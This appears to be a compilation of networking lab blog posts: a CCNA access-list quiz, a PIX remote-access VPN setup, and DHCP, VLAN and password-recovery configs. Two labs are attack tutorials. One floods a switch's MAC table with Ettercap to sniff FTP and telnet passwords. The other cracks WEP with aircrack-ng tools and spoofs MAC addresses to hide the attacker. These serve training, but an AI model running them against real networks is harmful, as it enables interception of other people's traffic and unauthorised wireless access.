I copy this sim from http://9tut.com. And I created a Packet Tracer 5.1 pka file to verify the answers, because I was confused with question 3 (I am still confused now). You can download this pka file from here: http://www.valit.ca/lab/ccna_access_list_sim.zip. I hope it can help you to understand this sim. Please use Packet Tracer 5.1, the pka file seems not woking in version 5.0.

Question:

An administrator is trying to ping and telnet from Switch to Router with the results shown below:

Switch>
Switch> ping 10.4.4.3
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.4.4.3,timeout is 2 seconds:
.U.U.U.
Success rate is 0 percent (0/5)
Switch>
Switch> telnet 10.4.4.3
Trying 10.4.4.3 ...
% Destination unreachable; gateway or host down
Switch>

Click the console connected to Router and issue the appropriate commands to answer the questions.

Answer and Explanation:

For this question we only need to use the show running-config command to answer all the questions below

Router>enable
Router#show running-config

interface Loopback1

ip address 172.16.4.1 255.255.255.0

no shutdown

interface Loopback2

ip address 10.145.145.1 255.255.255.0

ipv6 address 2001:410:2:3::/64 eui-64

no shutdown

interface FastEthernet0/0

ip address 10.4.4.3 255.255.255.0

ip access-group 106 in

duplex auto

speed auto

no shutdown

interface Serial0/0/0

bandwidth 64

no ip address

ip access-group 102 out

encapsulation frame-relay

ip ospf authentication

ip ospf authentication-key san-fran

no shutdown

interface Serial0/0/0.1 point-to-point

ip address 10.140.3.2 255.255.255.0

ip authentication mode eigrp 100 md5

ip authentication key-chain eigrp 100 icndchain

frame-relay interface-dlci 120

interface Serial0/0/1

bandwidth 64

ip address 10.45.45.1 255.255.255.0

ip access-group 102 in

ip authentication mode eigrp 100 md5

ip authentication key-chain eigrp 100 icndchain

ip ospf authentication

ip ospf authentication-key san-fran

ipv6 address 2001:410:2:10::/64 eui-64

no shutdown

router eigrp 100

network 10.0.0.0

network 172.16.0.0

network 192.168.2.0

no auto-summary

router ospf 100

log-adjacency-changes

network 10.4.4.3 0.0.0.0 area 0

network 10.45.45.1 0.0.0.0 area 0

network 10.140.3.2 0.0.0.0 area 0

network 192.168.2.62 0.0.0.0 area 0

router rip

version 2

network 10.0.0.0

network 172.16.0.0

ip default-gateway 10.1.1.2

ip http server

no ip http secure-server

access-list 102 permit tcp any any eq ftp

access-list 102 permit tcp any any eq ftp-data

access-list 102 deny tcp any any eq telnet

access-list 102 deny icmp any any echo-reply

access-list 102 permit ip any any

access-list 104 permit tcp any any eq ftp

access-list 104 permit tcp any any eq ftp-data

access-list 104 deny tcp any any eq telnet

access-list 104 permit icmp any any echo

access-list 104 deny icmp any any echo-reply

access-list 104 permit ip any any

access-list 106 permit tcp any any eq ftp

access-list 106 permit tcp any any eq ftp-data

access-list 106 deny tcp any any eq telnet

access-list 106 permit icmp any any echo-reply

access-list 110 permit udp any any eq domain

access-list 110 permit udp any eq domain any

access-list 110 permit tcp any any eq domain

access-list 110 permit tcp any eq domain any

access-list 110 permit tcp any any

access-list 114 permit ip 10.4.4.0 0.0.0.255 any

access-list 115 permit ip 0.0.0.0 255.255.255.0 any

access-list 122 deny tcp any any

access-list 122 deny icmp any any echo-reply

access-list 122 permit ip any any

Question 1:

Which will fix the issue and allow ONLY ping to work while keeping telnet disabled?

A - Correctly assign an IP address to interface fa0/1
B - Change the ip access-group command on fa0/0 from "in" to "out"
C - Remove access-group 106 in from interface fa0/0 and add access-group 115 in.
D - Remove access-group 102 out from interface s0/0/0 and add access-group 114 in
E - Remove access-group 106 in from interface fa0/0 and add access-group 104 in

Answer: E

Explanation:

Let's have a look at the access list 104:

access-list 104 permit tcp any any eq ftp

access-list 104 permit tcp any any eq ftp-data

access-list 104 deny tcp any any eq telnet

access-list 104 permit icmp any any echo

access-list 104 deny icmp any any echo-reply

access-list 104 permit ip any any

The question does not ask about ftp traffic so we don't care about the two first lines. The 3rd line denies all telnet traffic and the 4th line allows icmp traffic to be sent (ping). Remember that the access list 104 is applied on the inbound direction so the 5th line "access-list 104 deny icmp any any echo-reply" will not affect our icmp traffic because the "echo-reply" message will be sent over the outbound direction.

Question 2:

What would be the effect of issuing the command ip access-group 114 in to the fa0/0 interface?

A - Attempts to telnet to the router would fail
B - It would allow all traffic from the 10.4.4.0 network
C - IP traffic would be passed through the interface but TCP and UDP traffic would not
D - Routing protocol updates for the 10.4.4.0 network would not be accepted from the fa0/0 interface

Answer: B

Explanation:

From the output of access-list 114: access-list 114 permit ip 10.4.4.0 0.0.0.255 any we can easily understand that this access list allows all traffic (ip) from 10.4.4.0/24 network

Question 3:

What would be the effect of issuing the command access-group 115 in on the s0/0/1 interface?

A - No host could connect to Router through s0/0/1
B - Telnet and ping would work but routing updates would fail.
C - FTP, FTP-DATA, echo, and www would work but telnet would fail
D - Only traffic from the 10.4.4.0 network would pass through the interface

Answer: A

Explanation:

First let's see what was configured on interface S0/0/1:

interface Serial0/0/1

bandwidth 64

ip address 10.45.45.1 255.255.255.0

ip access-group 102 in

ip authentication mode eigrp 100 md5

ip authentication key-chain eigrp 100 icndchain

ip ospf authentication

ip ospf authentication-key san-fran

ipv6 address 2001:410:2:10::/64 eui-64

Recall that each interface only accepts one access-list, so when using the command “ip access-group 115 in” on the s0/0/1 interface it will overwrite the initial access-list 102. Therefore any telnet connection will be accepted (so we can eliminate answer C).

B is not correct because if telnet and ping can work then routing updates can, too.

D is not correct because access-list 115 does not mention about 10.4.4.0 network. So the most reasonable answer is A.

But here raise a question…

The wildcard mask of access-list 115, which is 255.255.255.0, means that only host with ip addresses in the form of x.x.x.0 will be accepted. But we all know that x.x.x.0 is likely to be a network address so the answer A: “no host could connect to Router through s0/0/1” seems right…

But what will happen if we don’t use a subnet mask of 255.255.255.0? For example we can use an ip address of 10.45.45.0 255.255.0.0, such a host with that ip address exists and we can connect to the router through that host. Now answer A seems incorrect!

Please comment if you have any idea for this sim!

I am really confused with this question 3. 9tut is right, we can assign x.x.x.0 to a host, check the figure below:

I assigned 10.46.46.0 and 3.3.3.0 to 2 PCs, so “A - No host could connect to Router through s0/0/1” is incorrect; In PC 10.46.46.0 and 3.3.3.0, I can telnet and ping 10.45.45.1, I turn one of the routers off and then turn it on, the EIGRP routing updates seem no problem at all!

It seems none of the answers are correct. You can download the pka file and play around, if you find the right answer, please let me know.

Flood the MAC address table of a Switch

2009-02-07T15:32:00.000-08:00

Lab Section: Switch

Lab Title: Flood the MAC address table of a Switch

Objective

In this lab exercise, we will complete the following tasks:

1. Use Ettercap to overflow the MAC address table of a Cisco switch 2950.

2. Use Wireshark to sniff the FTP password.

Background

Switches maintain a table of MAC addresses and associated switch port. When a switch receives a frame, the destination MAC address is checked against the table, and the corresponding port is used to route the frame out of the switch. If a switch does not know which port to route the frame, or the frame is a broadcast, then the frame is routed out all ports except the port where it originated.

Scenario

Your computer is connected to an uncontrolled switch. You want to sniff the traffic of the other computers that are connected with this switch. Because switch has a MAC address table to match the destination, you have to flood this table to force the switch broadcast every frame and work like a Hub.

Topology

This figure illustrates the lab network environment:

Preparation

Tools and Resources

In order to complete the lab, the following is required:

1. Ettercap0.7.3: http://sourceforge.net/projects/ettercap/

2. WireShark 1.05: http://www.wireshark.org/

3. Putty or HyperTerminal

Additional Materials

Visit the following website for more information on the objectives covered in this lab:

1. http://en.wikipedia.org/wiki/ARP_poisoning

2. http://en.wikipedia.org/wiki/Ettercap_(computing)

Procedure

1. Preparation: To start the FTP server and Telnet Server in Windows 2003 server and check the connection between these PCs.

1.1 In Server 192.168.10.9, open a command line window.

1.2 Enter “ipconfig /all” to show the current network setting, make sure the IP address is correct.

1.3 Enter “ping 192.168.10.10”, check the connection of other computer.

1.4 Enter “ping 192.168.10.11”, check the connection of other computer. Make sure they are all connected.

1.5 Open “Control Panel”-> “Administrative tools”-> “Services”, find out the Telnet service and start it.

1.6 Back to the “Administrative Tools”, open “Computer Management”, click “Local Users and Groups”.

1.7 Enter the “User” window, add 2 new users, one is “telnetuser”, another is “ftpuser”, you need to setup password, and uncheck the “user must change password at next logon” option (just for convenience, you’d better not uncheck this option in the reality environment).

1.8 Setup user “telnetuser” as one of the members of “TelnetClients” Group.

1.9 Return to “Administrative Tools” window. Run “Internet Information Services(IIS) Manager” to setup FTP server.

1.10 Right click “Default FTP Site”, choose “Properties”, uncheck “Allow anonymous connections”, apply for the change.

1.11 In Sniffer PC, open a command line window.

1.12 Enter “ipconfig /all” to show the current network setting, make sure the IP address is correct.

1.13 Run Wireshark, click Menu “Capture”-> “Interface”. Click “option” to open the capture options windows.

1.14 Setup the Capture Filter, we use “IP only” here. Click “Start”.

1.15 Wireshark start to capture packets, as you can see. Only the broadcast and the local packets can be received.

1.16 In User PC, open a command line window.

1.17 Enter “ipconfig /all” to show the current network setting, make sure the IP address is correct.

1.18 Ping 192.168.10.10, Wireshark will capture the ICMP traffic because Wireshark is running in 192.168.10.10.

1.19 Telnet 192.168.10.9, Wireshark won’t get any packets because the switch forwarded the packets to 192.168.10.9 directly.

1.20 Connect the switch to the User PC with console cable.

1.21 Run Putty and open the terminal window.

Swithch>Enable

Swithch>Show mac-address-table dynamic

Ok, the test environment is settled.

Click here to watch the video1: Preparation (http://www.valit.ca/lab/lab7/lab7_1.html)

2. Flood MAC-address table.

2.1 In Sniffer PC: let’s use another capture filter in Wireshark, because we only care the traffic of the server

2.2 In Wireshark, click menu “capture”->”Interface”, click “options”, then click “capture filter”, and choose “IP address 192.168.10.9”, you may change the IP address. Click “ok” and “Start”.

2.3 Run ettercap. Click menu “Sniff”-> “Unified sniffing”, select the network interface, click “OK”.

2.4 Click menu “Plugins”-> “Manager the Plugins”, select “rand_flood”. Click menu “Start”-> “Start sniffing”.

2.5 In User PC: Inside the Putty window, enter “Show mac-address-table dynamic”, we’ll be able to see a lot of fate mac address.

2.6 Open a command line window, enter “telnet 192.168.10.9”, enter username and password, connect to the telnet server.

2.7 In Sniffer PC (192.168.10.10): we’ll be able to see the telnet traffic between 192.168.10.9(server) and 192.168.10.11(user), because the mac-address table is full, the switch has to broadcast the packets.

2.8 In User PC: Open IE Browser, enter Ftp://192.168.10.9, enter username and password. Connect to the FTP server.

2.9 In Sniffer PC (192.168.10.10): we’ll be able to see the FTP traffic between 192.168.10.9(server) and 192.168.10.11(user).

2.10 Ettercap also can sniff the telnet and ftp password, but if you want to capture and analyst other traffics, Wireshark is the better choise.

Click here to watch the video2: overflow (http://www.valit.ca/lab/lab7/lab7_2.html)

PIX802, ASDM603 Configure Remote access VPN

2009-01-25T04:46:00.000-08:00

Purpose:

1. Use GNS3 to simulate a Remote access VPN environment.

2. Practice to install ASDM 603 in PIX version 802

3. Install ASDM client and configure Remote access VPN.

4. Use Cisco VPN client to connect to inside network.

Tools:

1. Dynamips 0.2.8, http://www.ipflow.utc.fr/blog/

2. GNS3 V0.6, http://www.gns3.net/

3. Virtual PC Simulator 01.6a: http://wiki.freecode.com.cn/doku.php?id=wiki:vpcs

4. PuTTY 0.6: http://www.chiark.greenend.org.uk/~sgtatham/putty/

5. Battle Encoder Shirase (BES1.3.8): http://mion.faireal.net/BES/

6. PIX802.bin and ASDM603.bin.

7. Java 6 update 7 (Don’t use Java 6 update 10 or 11, it is incompatible with ASDM603. If you intent to use these versions, you have to chose higher ASDM version. Please refer to my Blog: http://jhuang8.blogspot.com/2009/01/cisco-asdm-unconnected-sockets-not.html)

Topological:

Requires:

1. Outside PCs use Cisco VPN client to connect to the Inside network.

2. Outside PCs IP range: 76.77.0.0/16.

3. Inside PCs IP range: 10.10.10.0/24

4. VPN IP Pool: 10.10.10.100 --- 10.10.10.200

5. Dns server is 208.67.222.222

6. The ranger of IP that can be distributed is 172.20.0.0/16

7. Outside network connect to e0 port of PIX firewall, Inside network connect to e1 interface. (Normally, e0 is for Outside, e1 is for Inside, and e2 is used for DMZ.)

8. We are going to use the real Pc to simulate the Outside PC, and use “Virtual PC Simulator” to simulate the Inside PC.

Procedure:

1. Install Microsoft Loopback virtual networking card. In order to install ASDM client and VPN client, we have to connect GNS3 to a real PC. It is good to install a virtual networking interface for this purpose, with this way, we don’t need to change the configuration of the real networking card which could cause some networking connection problems.

1.1 Open “control panel”-> “Add Hardware”

1.2 Follow the “Add Hardware Wizard”.

1.3 Select “Yes, I have already connected the hardware” in “Is the hardware connected” window.

1.4 In “hardware list” window, click “Add a new hardware device” on the bottom of the list.

1.5 Select “install the hardware that I manually select from a list”.

1.6 Select “ Network adapters”

1.7 Select “Microsoft Loopback Adapter”.

1.8 After some files are copied, we’ve done the installation.

1.9 Open “Network connections” window.

1.10 Change the Adapter name to “MS Loopback”

Click here to watch the video 1: Install MS Loopback adapter

2. If this is the first time that you are running GNS3, you need to do some settings:

2.1 GNS3 will open a “Setup wizard” window to guide you through the settings. Click the big “1” button, or you can click the menu “Edit”-> “Preferences” to open the same window.

2.2 In “General” window, Setup the “Terminal command”, Project directory and IOS/PIX directory.

2.3 In “Dynamips” window, setup the “working directory”, then click “test” button to check if Dynamips works.

2.4 In “Pemu” window, setup the “working directory”, the pix image location, key and serial number.

2.5 Click the big “2” button to setup the IOS images, or you can click the menu “Edit” -> “IOS images and hypervisors” to open the same window.

2.6 Setup the image file, platform, model, default RAM for each router. You can check the default RAM value from Cisco website.

2.7 Setup the router Idle value to reduce the CPU usage. Draw the router icon to the topologic panel

2.8 Right click the icon, click “start” to start the router.

2.9 Right click the icon again, and click “console”, a Putty window will open up.

2.10 Press enter until the “>” prompt appears, if there is a question:” Would you like to enter the initial configuration dialog?” answer “no”.

2.11 Right click the icon again and click “Idle PC”, and select an idle pc value from the pop up window, choose one of the values with an asterisk.

2.12 Calculate other routers’ Idle PC value.

Click here to watch the video 2: Configure GNS3

3. Create the topological graph in GNS3. In order to draw this topological graph, we need to add 3 symbols.

3.1 Run virtual PC simulator. Double click “vpcs.exe”, it will open a command line window. Wait until the “VPSC 1>” prompt appears. It is better to run vpcs before running GNS3.

3.2 Run GNS3, click the menu “Edit”-> “Symbol Manager”, add 3 symbols:

Symbol	Name	Type
Computer	Computer	Cloud
Cloud	Internet	Ethernet switch
Server	Server	cloud

Click “ok” to exit “Symbol Manager”

3.3 Draw the Icons to topological panel, put notes for every icon (refer to the topologic graph).

3.4 Setup “OutsidePC” using MS loopback adapter.

3.5 Setup “InsidePC” using vpc

3.6 Connect the equipments, remember in PIX, e0 is usually for outside network, e1 for inside network.

3.7 Add notes for the connection.

3.8 Save the topologic design.

Click here to watch the video 3: Create topological graph.

4. Configure the outside and inside network:

4.1 Run “Windows Task Manager” to monitor the CPU usage.

4.2 Run BES1.3.8

4.3 Right click the Firewall Icon “FW0”, choose “start”.

4.4 Right click Icon “FW0” again, and choose “console”, a Putty window pops up.

4.5 Wait until the firewall initializing finished, the “>” prompt appears.

4.6 The CPU usage rise to 100%, we need to limit it. Open BES window, click “Target” button, choose “pemu.exe” process, click “Limit/Watch”, click “Yes” to confirm. Click “Control” button, choose a percentage. For this example, I choose -50%

4.7 Back to Putty window.

4.8 Enter commands in PIX CLI:

pixfirewall> en

Password:

pixfirewall# show version

4.9 Check the “show version” output, if the VPN-DES and VPN-3DES-AES” are disabled, “ac ” command should be run to activate this function. And because GNS3 doesn’t support “reload” command, we have to right click the FW0 icon, choose “stop” to turn off the firewall, and then right click it again, choose “start” to boot up the firewall.

4.10 Use “show version” command again, now the VPN-DES feature should be enabled.

4.11 Configure outside connection IP address and network zone.

pixfirewall# show ip address

pixfirewall# show interface ip brief

pixfirewall# conf t

pixfirewall(config)# interface e0

pixfirewall(config-if)# ip address 76.77.78.1 255.255.0.0

pixfirewall(config-if)# nameif outside

pixfirewall(config-if)# security-level 0

pixfirewall(config-if)# speed 100

pixfirewall(config-if)# duplex full

pixfirewall(config-if)# no shut

pixfirewall(config-if)# show run

4.12 Minimize the GNS3 window. Open the “Network Connections” window, Right click the MS Loopback Adapter Icon, click “Properties” to open the Adapter’s properties window; In “General” tab, select “Internet Protocol(TCP/IP), click “Properties” button. Change the IP settings: IP address: 76.77.78.79, Subnet mask: 255.255.0.0, Default gateway: 76.77.78.1. Click “ok” to exit the setting.

4.13 Click “Start” -> “Run”-> “cmd”, open a command line windows,

> ipconfig ;Verify the MS Loopback adapter IP address

> ping 76.77.78.1 ; Check the connection between the outside pc and firewall.

4.14 Return to GNS3, Putty window:

pixfirewall(config-if)# ping 76.77.78.79

;Check the connection between the outside pc and firewall.

pixfirewall(config-if)# exit

4.15 Configure the inside zone:

pixfirewall(config)# interface e1

pixfirewall(config-if)# nameif inside

pixfirewall(config-if)# security-level 100

pixfirewall(config-if)# speed 100

pixfirewall(config-if)# duplex full

pixfirewall(config-if)# no shut

pixfirewall(config-if)# ip address 10.10.10.1 255.255.255.0

pixfirewall(config-if)# show ip address

pixfirewall(config-if)# show interface ip brief

4.16 Minimize the GNS3 window, active the vpcs window,

VPCS 1>show ip address

VPCS 1> ip 10.10.10.11 10.10.10.1 24

VPCS 1> ping 10.10.10.1 ; Check the connection between the inside pc and firewall.

4.17 Return to GNS3, Putty window:

pixfirewall(config-if)# ping 10.0.1.11 ; Check the connection between the inside pc and firewall.

pixfirewall(config-if)# wr ;Save the configuration

Click here to watch the video 4: Configure ip address and network zone.

5. Upload ASDM803.bin to flash.

5.1 pixfirewall(config-if)# end

pixfirewall# show flash

If you couldn’t find “asdm-603.bin” in the flash files list, you need to upload the file from tftp server

5.2 Run SolarWinds TFTP Server, click the menu “File”-> “Configure”. In “General” tab, select the bin file directory in “Storage” section. Click “Security” tab, make sure “Send and Receive files” option is selected. Back to “General” tab, Click “Start”.

5.3 Back to Putty window.

pixfirewall# copy tftp://76.77.78.79/asdm-603.bin flash:

pixfirewall# show flash ;Check if the bin file has already been uploaded

5.4 Enable the http server

pixfirewall# conf t

pixfirewall(config)# http server enable

pixfirewall(config)# http 10.10.10.0 255.255.255.0 inside

pixfirewall(config)# http 76.77.0.0 255.255.0.0 outside

pixfirewall(config)# asdm image flash:asdm-603.bin

pixfirewall(config)# asdm history enable

pixfirewall(config)# username cisco password test1234 privilege 15

pixfirewall(config)# ping 76.77.78.79

pixfirewall(config)# end

pixfirewall# wr

Click here to watch the video: 5. Upload ASDM803.bin to flash

6. Install ASDM.

6.1 pixfirewall# show run ;Double check the settings

6.2 Run IE browser, enter the address: https://76.77.78.1

6.3 Click “Continue to this website”

6.4 Click “Install ASDM Launcher and Run ASDM

6.5 Enter username and password

6.6 Click “Run” button to install ASDM

6.7 When the ASDM Launcher window pops up, enter the ip address, username and password.

6.8 If there is a warning message: “The web site’s certificate cannot be verified. Do you want to continue?” Choose “Always trust content from this publisher.” Click “Yes” to continue.

6.9 Now you will be able to see the main window of ASDM

Click here to watch the video 6: Install ASDM

7. Use “IPsec VPN Wizard” to setup Remote access VPN

7.1 Click the menu “Wizards”-> “IPsec VPN Wizard”

7.2 Choose “Remote Access”.

7.3 Choose “Cisco VPN Client”

7.4 Enter the Pre-Shared Key and Group name

7.5 Choose “Authenticate using the local user database”

7.6 Add some username and password

7.7 Create IP Pool: start from 10.10.10.100, end with 10.10.10.200, subnet mask is 255.255.255.0

7.8 Enter default Domain name (optional)

7.9 Choose 3des and SHA as the encryption and authentication algorithm

7.10 NAT setting

7.11 Click “finish” button, return to main window

7.12 Click “save” button to save the current configuration

Click here to watch the video 7: IPsec VPN Wizard

8. Connect VPN with Cisco VPN Client

8.1 Run Cisco VPN Client.

8.2 Click “New” button to define a new VPN connection

8.3 Enter the host ip, group name, password etc.

8.4 Click “save” button.

8.5 Double click the VPN connection that you just defined

8.6 Enter username and password

8.7 In ASDM window, you could see that there is one VPN connection.

8.8 Right click the VPN icon that located on the system tray (the right down side of the screen), choose “Statistics”, you’ll be able to see the Tunnel Details and Route Details.

8.9 Open a command line window, enter “ipconfig” to check the ip address. You’ll be able to see the ip address of the VPN adapter is 10.10.10.100.

Click here to watch the video 8: Cisco VPN Client

Congratulations! You’ve done everything!

= = = = ================================================================

Video List:

1. Click here to watch the video 1: Install MS Loopback adapter

2. Click here to watch the video 2: Configure GNS3

3. Click here to watch the video 3: Create topological graph.

4. Click here to watch the video 4: Configure ip address and network zone.

5. Click here to watch the video: 5. Upload ASDM803.bin to flash

6. Click here to watch the video 6: Install ASDM

7. Click here to watch the video 7: IPsec VPN Wizard

8. Click here to watch the video 8: Cisco VPN Client

Cisco ASDM: Unconnected sockets not implemented

2009-01-17T19:19:00.000-08:00

Yesterday, I was trying to use GNS3 to simulate PIX firewall and configure VPN connect in a vmware virtual machine (Windows XP). The version I was using is pix802.bin and asdm-603.bin. After everything is settled, I started the ASDM, and I got this error:

“ASDM is unable to continue loading, Click OK to exit from ASDM.

Unconnected sockets not implemented”

It is weird, because I did the same settings before (in the same virtual machine), and it was no problem at all, what cause this problem? The only thing I did to this virtual machine was I just upgrade the Java version to “Java™ 6 Update 11”, I begun to doubt the incompatible of new Java and ASDM, so I just uninstalled “Java 6 Update 11”, and installed the old “Java 6 Update 7” (the version I used before), and it works. I finally got the ASDM management interface.

Here’s what I’ve done:

1. Go to http://java.sun.com/products/archive/j2se/6u7/index.html and download “Java SE 6 Update 7”

2. Uninstall “Java 6 Update 11”.

3. Install jre-6u7-windows-i586-p.exe

4. Open “Control panel”-> “Java”, tab “Update”, uncheck “check for updates automatically”

5. Now you should be able to run ASDM

Configure Cisco 2600 Router as a DHCP Server

2009-01-08T20:45:00.000-08:00

Lab Section: Router and Routing Protocol

Lab Title: Configure Cisco 2600 Router as a DHCP Server

Purpose:

1. Understand how to configure Cisco 2600 as a DHCP server.

2. Understand how the DHCP server distribute IP

Preparation:

1. DHCP, ARP, DNS.

Topological:

Requires:

1. Don’t distribute IP address 172.20.30.1 and from 172.20.30.200 to 172.20.30.254

2. Default gateway is 172.20.30.254.

3. Dns server is 208.67.222.222

4. The ranger of IP that can be distributed is 172.20.0.0/16

Procedure:

1. Open a terminal to setup the router:

Router>en

Router#conf t

Router(config)#ip dhcp excluded-address 172.20.30.1

Router(config)#ip dhcp excluded-address 172.20.30.200 172.20.30.254

Router(config)#ip dhcp pool testdhcp

Router(dhcp-config)#?

default-router Default routers

dns-server Set name server

exit Exit from DHCP pool configuration mode

network Network number and mask

no Negate a command or set its defaults

Router(dhcp-config)#default-router 172.20.30.254

Router(dhcp-config)#dns-server 208.67.222.222

Router(dhcp-config)#network 172.20.30.0 255.255.0.0

Router(dhcp-config)#end

Router#conf t

Router(config)#interface fastEthernet 0/0

Router(config-if)#ip address 172.20.30.1 255.255.0.0

Router(config-if)#no shut

Router(config-if)#end

2. Check the PC’s IP address. Open a command line window,

> ipconfig /renew

--- Renew the IP address.

> ipconfig /all

--- Show current IP setting.

3. Back to the terminal of router:

Router#show arp

---Display Arp table

Router#show ip dhcp binding

--- Display all the distributed IP

*******************************************************************************

1. For more information, please visit my blog http://jhuang8.blogspot.com/.

2. Video demo is located in http://www.valit.ca/lab/.

Lab4 Crack WEP using Blacktrack3.0 live CD

2009-01-03T04:40:00.000-08:00

Lab Section: Wireless Security

Lab Title: Crack WEP using Blacktrack3.0 live CD

Purpose:

1. Understand how WEP works.

2. Understand the method of cracking WEP

3. Warning: It is illegal to crack other peoples’ wireless connection without their permission. this tutorial is for educational purposes only

Preparation:

1. Check if your wireless card is supported by Blacktrack: http://backtrack.offensive-security.com/index.php?title=HCL:Wireless

2. Detect, sniff, inject wireless network

3. Always can use “man [command]” to get the description of the command.

Tools:

1. airmon-ng: change the wireless card into monitor mode.

2. ifconfig: configure a card

3. iwconfig: configure a wireless card

4. macchanger: change the mac address of a networking card

5. airodump-ng: capture packets

6. aireplay-ng: generate traffic by injecting ARP-request packets into a wireless network.

7. commview for wifi: (optional) generate traffic.

Procedure:

1. Get the target AP’s information (BSSID, ESSID, channel etc.)

Open a terminal window.

# cd /tmp

# iwconfig

-- Show and get the wireless device name.

# airodump-ng [device]

-- Once you get the information, press crtl+c to stop the capture, then copy and paste the target AP’s information to a notepad.

2. Change the wireless card’s MAC address

# macchanger –s rausb0

-- Show the wireless card’s MAC address

# airmon-ng stop [device]

-- turn wireless card into manage mode.

# ifconfig [device] down

-- Turn off the wireless card; otherwise you can not change the MAC address.

# macchanger –a rausb0

-- Change the MAC of the wireless card to a faked MAC. An attacker always wants to hide himself. This is a necessary step for attack purpose.

# ifconfig [device] up

-- Turn on the wireless card.

3. Change the wireless card into monitor mode

# airmon-ng start [device]

-- Enable the monitor mode

# iwconfig

-- Make sure the wireless card is in the Monitor mode.

4. Capture packets:

# airodump-ng –c [channel] –w [file name] –-bssid [AP’s bssid] --ivs [device]

-- To understand the parameter’s meaning, type “airodump --help” or “man airodump”. Leave this window opened

5. Associate the wireless card with the target AP:

Open a new terminal window

# aireplay-ng -1 0 -e [essid] -a [bssid] -h [wireless card’s MAC] [device]

-- To understand the parameter’s meaning, type “aireplay --help” or “man aireplay”.

6. Generate traffics:

# aireplay-ng -3 –b [bssid] –h [wireless card’s MAC address] [device]

-- To understand the parameter’s meaning, type “aireplay --help” or “man aireplay”. Leave this window opened. Additionally, you can use commview for wifi to generate traffics to increase the crack process.

7. Crack the password:

Open a new terminal window

# cd /tmp

# aircrack-ng –b [bssid] *.ivs

*******************************************************************************

1. For more information, please visit my blog http://jhuang8.blogspot.com/.

2. Video demo is located in http://www.valit.ca/lab/.

Lab 3 VLAN Configuration

2008-12-28T15:05:00.000-08:00

Lab Section: Router and Switch

Lab Title: VLAN Configuration

Purpose:

1. Understand how to setup VLAN.

Preparation:

1. Basic command of switch: enable, config terminal, hostname, banner, exit, end, show, no, etc.

2. 3 ways to create VLAN: Privileged EXEC mode (vlan database); Global Configuration Mode (vlan vlanid); Interface Configuration Mode (config-if)

Topological

Require

1. Technical Support Team: Vlan name is Tech, Vlanid=100, Description: For Technical Support team

2. Accountant Department: Vlan name is Account, Vlanid=200, Description: For Accountant department

3. Customer Service Department: Vlan name is Customer, Vlanid=300, Description: For Customer Service Department

Procedure:

1. Setup hostname, banner and password:

Switch>en

Switch#conf t

Switch(config)#hostname SW1

SW1(config)#banner motd $

Enter TEXT message. End with the character '$'.

Welcome to Valute IT Virtual Lab$

SW1(config)#enable password cisco

SW1(config)#enable secret cisco12345

SW1(config)#exit

2. Create vlan in Privileged EXEC mode

SW1#vlan database

SW1(vlan)#vlan 100 name Tech

SW1(vlan)#exit

SW1#show vlan

3. Create vlan in Global configuration mode:

SW1#conf t

SW1(config)#vlan 200

SW1(config-vlan)#name Account

SW1(config-vlan)#end

SW1#show vlan

4. Create vlan in Interface configuration mode:

SW1#conf t

SW1(config)#interface f0/3

SW1(config-if)#switchport mode access

SW1(config-if)#switchport access vlan 300

% Access VLAN does not exist. Creating vlan 300

SW1(config-if)#no shutdown

SW1(config-if)#end

SW1#show vlan

5. Setup the vlan description:

SW1#conf t

SW1(config)#interface vlan 100

SW1(config-if)#description ?

SW1(config-if)#description For Technical Support team

SW1(config-if)#no shutdown

SW1(config-if)#exit

SW1(config)#interface vlan 200

SW1(config-if)#description For Accountant department

SW1(config-if)#no shutdown

SW1(config-if)#exit

SW1(config)#interface vlan 300

SW1(config-if)#description For Customer Service Department

SW1(config-if)#exit

6. Change vlan name:

SW1(config)#vlan 300

SW1(config-vlan)#name Customer

SW1(config-vlan)#end

SW1#show vlan

7. Assign switch port to vlan:

SW1#conf t

SW1(config)#interface fastEthernet 0/1

SW1(config-if)#switchport mode access

SW1(config-if)#switchport access vlan 100

SW1(config-if)#no shutdown

SW1(config-if)#exit

SW1(config)#interface fastEthernet 0/2

SW1(config-if)#switchport mode access

SW1(config-if)#switchport access vlan 200

SW1(config-if)#no shutdown

SW1(config-if)#exit

8. Setup trunk port, this port is used to connect to other switch

SW1(config)#interface f0/24

SW1(config-if)#switchport mode trunk

SW1(config-if)#no shutdown

SW1(config-if)#end

SW1#show running-config

9. Do the exactly same steps with Switch 2 (except hostname).

10. Setup the PCs’ IP address (refer to the topologic graph above).

11. Use “ping” to verify the isolation.

Further:

*******************************************************************************

1. For more information, please visit my blog http://jhuang8.blogspot.com/.

2. Video demo is located in http://www.valit.ca/lab/.

Lab 2 Reset Password of Router and Switch

2008-12-28T14:57:00.000-08:00

Lab Section: Router and Switch

Lab Title: Reset Password

Purpose:

1. Understand how to reset the password of Cisco Router.

2. Understand how to reset the password of Cisco Switch.

Preparation:

1. Usually the switch and the router were given very complex passwords, and we forgot password for many reasons, but the start-config can not be deleted, in this situation, we need to reset the password and keep the start-config.

2. The method of reset password for Cisco 2600 serial and 3600 serial is the same. There is a little different between 2500 and 2600/3600.

3. For Switch, we need to get into “switch:” mode to reset the password: when you restart the switch, press “mode” key (located on the front panel of switch)

Topological

Procedure:

Reset 2600 serial router password (same as 3600 serial)

1. Power on the router, in the meantime, press ctrl+break.

2. rommon>confreg 0x2142

-- Change the start register value to 2142, it means the router will load the factory default configuration in the next start-up.

3. rommon>reset

-- restart the router

4. router#copy startup-config running-config:

-- Now we can enter the Privileged EXEC Mode, we need to copy the old startup-config which was saved in NVRAM to the current running config, remember we don’t want to lose the old configuration except the password.

5. router#config t

6. router(config)# enable password cisco.

-- After we copy the old startup-config, we also copy the old password, so we need to change it to a new password.

7. router(config)#exit

8. router#copy running-config startup-config

-- Save the current running-config which contains the new password to NVRAM

9. router#conf t

10. router(config)#config-register 0x2102

-- Restore the register value to 2102, it means router will load the configuration from NVRAM.

11. router(config)#exit

12. router#reload

-- Restart the router to check the password

*********************************************************************

Reset 2500 serial router Password:

1. Power on the router, in the meaning, press ctrl+break.

2. rommon>o/r 0x2142

-- Change the start register value to 2142, it means the router will load the factory default configuration in the next start-up.

3. rommon>i

-- restart the router

The rest steps are as same as the 2600 router.

**********************************************************************

Reset Catalyst 2900 serial Switch password:

1. Turn on the switch, in the mean time, press the “mode” button that located on the front panel.

2. In the “switch:” mode, backup and rename the startup configuration.

3. switch: dir flash: ;check the current files in the flash, backup them if necessary.

4. switch: rename flash:config.text flash:config_old.txt ;Rename the configuration file, switch will use factory default setting if this file missing.

